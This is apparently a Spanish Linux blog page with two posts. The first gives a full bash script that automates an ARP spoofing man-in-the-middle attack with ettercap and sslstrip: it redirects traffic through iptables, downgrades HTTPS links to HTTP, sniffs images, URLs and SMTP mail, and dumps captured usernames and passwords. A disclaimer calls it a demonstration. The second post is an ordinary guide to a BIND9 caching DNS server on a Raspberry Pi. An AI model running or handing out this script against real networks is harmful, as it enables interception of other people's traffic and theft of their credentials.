12 noviembre, 2015

Ataque Arp Spoofing + Ettercap + Sslstrip

Buenas tardes

Hoy os traigo un poderoso script que he creado para GNU/Linux con la intención de demostrar lo vulnerable que puede llegar a ser una red, ya sea por cable o inalámbrica.


El script del que os hablo ataca la vulnerabilidad del protocolo ARP de forma que permite que un atacante se posicione de forma lógica entre la gateway y la victima o victimas interceptando las comunicaciones.

Entrando mas en detalles lo que hacemos es engañar a la gateway diciendole que la dirección MAC de la victima es la nuestra y viceversa, con ello conseguimos que el tráfico de la victima y el router pase por nosotros. Además enrutamos el tráfico entre el router y la victima, ya sea tráfico HTTP o HTTPS, el cual no es descifrado sino que engañaremos a la victima cuando pinche en algún link HTTPS para que la conexión se lleve a cabo en HTTP, esto no funciona si desde un principio se conecta en HTTPS. También mostraremos las imágenes que pasen por nuestra interfaz en tiempo real.
Tiene alguna función mas como capturar mensajes SMTP en tiempo real. Una vez que termina el ataque nos preguntará si queremos abrir Wireshark para analizar lo capturado y saltará el etterlog con los posibles usuarios y contraseñas capturados.

Haremos uso de los siguientes programas que deberán estar instalados en la máquina para que funcione correctamente: xterm, driftnet, dsniff, wireshark (para ver los paquetes capturados, opcional), sslstrip,nmap , etterlog(opcional, muestra las contraseñas capturadas) y ettercap (con el hacemos el ataque al ARP).


La finalidad del programa es tan solo de demostrar la inseguridad que presentan las redes, me eximo de todo mal uso que puedan darle.


Sin mas aquí os dejo el código.


#!/bin/bash
echo "*************************************************"
echo "
             EtterCap auto Snffing over HTTP and HTTPS ...
                By Ragnar The Viking
                            "
echo "*************************************************"
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "*************************************************"
echo "Interfaz a utilizar :"
echo "*************************************************"
read -e IFACE
echo "*************************************************"
echo "¿Quieres cambiar la MAC?"
echo "MAC actual: $(ifconfig $IFACE | egrep HWaddr | cut -d 'H' -f 2 | cut -d ' ' -f 2)"
read res
echo "*************************************************"
case $res in
        Y|s|S|y)mac_gen() {

        RANGE=256
        i=0
        n=$RANDOM
        let "n %= $RANGE"
        let r=n%2
        let n=n+r
        n=`printf '%x\n' $n`

        mac=`printf $n:`

        while [ $i -lt 5 ]; do

            n=$RANDOM
            let "n %= $RANGE"
            n=`printf '%x\n' $n`

            if [ $i -lt 4 ]; then
                 mac=${mac}`printf $n:`
                   fi

                if [ $i = 4 ]; then
                    mac=${mac}`printf $n`
                   fi

            let i=i+1

        done

        }

    mac_gen
        ifconfig $IFACE down
    ifconfig $IFACE hw ether $mac
    ifconfig $IFACE up
        echo "Ahora la MAC es: $(ifconfig $IFACE | egrep HWaddr | cut -d 'H' -f 2 | cut -d ' ' -f 2)"
    ;;
        N|n)
                echo "OK, no se cambia";
        ;;
        *)
                echo "Escribe Bien"
        ;;
esac
echo "*************************************************"
echo "¿Quieres hacer un escaneo de la red? : "
echo "*************************************************"
read res
echo "La Ip de la interfaz $IFACE es: $(ifconfig $IFACE | egrep 'inet addr' | cut -d ':' -f 2 | cut -d ' ' -f 1)"
echo "*************************************************"
case $res in
        Y|s|S|y)
        echo "*************************************************"
        echo "Introduce el rango a escanear: "
                read rang
        echo "*************************************************"
        echo "¿Quieres escanear los SO?"
        read res
        echo "*************************************************"
        case $res in
                Y|s|S|y)
                        nmap -O $rang;
                ;;
                N|n)
                        nmap -sT $rang;
                ;;
                *)
                        echo "Escribe Bien"
                ;;
        esac
        ;;
        N|n)
                echo "OK";
        ;;
        *)
                echo "Escribe Bien"
        ;;
esac


echo "*************************************************"
echo "Parece que tu Gateway es: "
route -n | grep 'UG[ \t]' | awk '{print $2}'
echo "Introduce la Gateway o dejalo en blanco"
read -e ROUTER
echo "*************************************************"
echo "Seleciona la carpeta para las CAP"
read -e SESSION
echo "*************************************************"
echo  "IP Victima - Dejar en blanco para envenenar a toda la red: "
read -e VICTIM
echo "*************************************************"
mkdir $SESSION

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
xterm -e "sslstrip -p -k -w $SESSION/sslstrip.log" 2>>$SESSION/errorSslstrip.txt &

echo "############ Now Running Ettercap #################"
echo "############# Mejorado by Ragnar #################"
echo "################################################"
echo ""
echo ""
echo "*************************************************"
echo "¿Quieres activar Driftnet? : "
read res
echo "*************************************************"
case $res in
        Y|s|S|y)
        mkdir $SESSION/driftnet/;
                driftnet -i $IFACE -d $SESSION/driftnet/ -x "ragnar-" &
        ;;
        N|n)
        echo "OK";
        ;;
    *)
        echo "Escribe Bien"
    ;;
esac

echo "*************************************************"
echo "¿Quieres activar Urlsnarf? : "
read resp
echo "*************************************************"

case $resp in
        Y|s|S|y)
                xterm -e "urlsnarf -i $IFACE" &
        ;;
        N|n)
                echo "OK";
        ;;
        *)
                echo "Escribe Bien"
        ;;
esac

echo "*************************************************"
echo "¿Quieres abrir Mailsnarf? : "
read resp
echo "*************************************************"

case $resp in
        Y|s|S|y)
                xterm -e "mailsnarf -i $IFACE  -v" &
        ;;
        N|n)
                echo "OK";
        ;;
        *)
                echo "Escribe Bien"
        ;;
esac

ettercap -T -q -i $IFACE -w $SESSION/ettercap.pcap -L $SESSION/etter -M arp //$ROUTER/ //$VICTIM/

echo "*************************************************"
echo "Limpiando Iptables..."
echo "*************************************************"

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain

echo "OKiss"
echo "************************************************"
etterlog -p -i $SESSION/etter.eci
echo "************************************************"

echo " Sniffing done ! "
echo "¿Quieres abrir el archivo de la captura? : "
read resp
echo "*************************************************"
case $resp in
        Y|s|S|y)
                wireshark $SESSION/ettercap.pcap
        ;;
        N|n)
                echo "Hasta la Proxima";
        sleep 1;
        ;;
        *)
                echo "Escribe Bien"
        ;;
esac
clear

echo "https://instalandolo.blogspot.com"
################################




Bueno malignos espero que os haya gustado y no dudeís en comentar.

04 noviembre, 2015

Configurar un servidor DNS caché en Linux

Buenas tardes admins, hoy os presento como implementar un servidor caché
de resolución de nombres de dominio.

Lo vamos a implementar en una Raspberry y permitirá que en la red local se realicen las peticiones DNS hacia el servicio de la Raspberry, con esto conseguiremos una mayor velocidad de internet debido a que las peticiones DNS se resolverán mucho mas rápido que si las hiciéramos a servidores externos.


Esto se debe a que la Raspberry almacenará las peticiones que realicen los clientes y en caso de que se vuelva a pedir el mismo nombre de dominio, el servidor lo habrá guardado en la caché y, por tanto, la respuesta será mas rápida.

Sin mas dilación vamos a divertirnos:

En primer lugar instalamos el servidor BIND9 con el comando:

#apt-get install bind9


En próximo paso es editar el siguiente archivo:

#nano /etc/bind/named.conf.options

Y escribimos lo siguiente: 
  1. los forwarders: son los DNS a los que el el servicio realizará la petición en caso de no saber resolver el nombre.
  2. listen on port 53: aquí definimos el puerto en el que queramos que escuche y las redes en las que atienda a los clientes, en este caso pondremos que la Raspberry se resuelva los nombres a si misma ademas y los demás clientes de la red loscal.
  3. allow-query: las redes en las que serán permitidas las peticiones DNS
  4. allow-transfer: con esta opción evitamos que se hagan transferencias de zona.
  5. allow-transfer: lista de direcciones IP en las que estarán permitidas las peticiones recursivas.
  6. Las demás las teneís en aquí, adicionalmente podeís definir las que queraís.



 

Una vez configurado el servidor lo reiniciamos con el comando:

#service bind9 restart

Finalmente vamos a decir al cliente DNS de la Raspberry que haga las peticiones directamente a si misma.Para ello editamos el archivo resolv.conf y definimos como servidor DNS a la IP de bucle local.
 
#nano /etc/resolv.conf


 
 

Salimos y comprobamos el funcionamiento con ayuda de los comandos “time” para ver el tiempo de ejecución de un comando y “nslookup” para resolver los nombres.
Vemos que en el primer comando el tiempo es mayor que en el segundo, por tanto, el servidor DNS caché funciona correctamente. Además en el cliente DNS hemos definido solo el servicio de la Raspberry, como resuelve, significa que funciona.







Espero que lo haya explicado bien y se entienda. Como veís es muy sencillo implantar un DNS caché.

Hasta la próxima.